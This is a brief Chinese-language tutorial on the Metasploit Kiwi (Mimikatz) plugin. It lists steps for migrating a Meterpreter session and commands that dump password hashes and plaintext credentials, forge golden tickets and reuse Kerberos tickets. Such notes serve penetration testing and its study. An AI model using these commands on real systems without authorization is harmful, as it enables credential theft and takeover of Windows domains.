Metasploit-Kiwi模块

Kiwi是MSF集成了Mimikatz功能的Meterpreter插件。

使用kiwi前置准备：

1. 提权到了SYSTEM
2. 迁移进程：
3. kiwi默认是32位的，在64位系统上容易失败。所以要先用ps，找一个64位的进程，比如：explorer.exe ，然后用migrate [PID] 把会话迁移过去。

一手抓凭据，一手抓票据：

准备好后，在meterpreter里 load kiwi 加载模块。

creds_all 直接把所有的东西打印出来

creds_msv：抓哈希

creds_wdigest：抓明文密码

如果你想在MSF里使用Mimikatz的原生命令

可以用 kiwi_cmd + 你要输的命令

黄金票据：

golden_ticket_create

票据操控：

Kerberos_ticket_list 查看票据

Kerberos_ticket_use 使用票据